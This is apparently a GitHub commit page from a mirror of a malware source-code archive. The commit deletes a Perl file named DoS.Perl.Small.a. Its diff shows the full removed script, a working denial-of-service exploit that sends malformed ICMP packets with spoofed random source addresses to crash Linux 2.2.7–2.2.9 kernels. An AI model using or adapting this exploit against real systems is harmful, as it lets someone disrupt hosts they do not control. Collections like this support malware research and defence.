ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-22 11:26:11 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

Delete DoS.Perl.Small.a

Browse Source 
na
This commit is contained in:
vxunderground 2020-11-14 01:21:26 -06:00 committed by GitHub
parent ba2a4625ed
commit bd0805b41c
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 0 additions and 49 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

49
Perl/DoS.Perl.Small.a
View File

@ -1,49 +0,0 @@
# **************************************************************
# DoS for Linux kernels from 2.2.7 to 2.2.9 reported in BUGTRAQ
# 06/01/99 by Piotr Wilkin <pwl@wotan.2slo.wav.pl>
# An attacker has to be in same ethernet segment with victim
# I did't test it
# coded by misteri0 from P.A.T.C.H.
# Requires Net-RawIP-0.09 included in this directory
# Edited for use with toast by Gridmark
# **************************************************************
$| = 1;
require 'getopts.pl';
use Net::RawIP;
Getopts('t:');
die " misteri0\@unet from P.A.T.C.H.\n Usage $0 -t <target>" unless
$opt_t;
srand(time);
$i = 996;
$data .= chr(int rand(255)),$i-- while($i);
$icmp = new Net::RawIP({
ip => {
ihl => 6,
tot_len => 1024,
id => 1,
ttl => 255,
frag_off => 0,
daddr => $opt_t
},
icmp => {
id => 2650,
data => $data
}
});
$j++;
$icmp->set({
ip => { saddr => 17000000 + int rand 4261000000 },
icmp => {
type => int rand(14),
code => int rand(10),
sequence => int rand(255)
}
});
$icmp->send;
print "Linux-DoS sent...\n"
# print "[b00m] " unless $j%1000;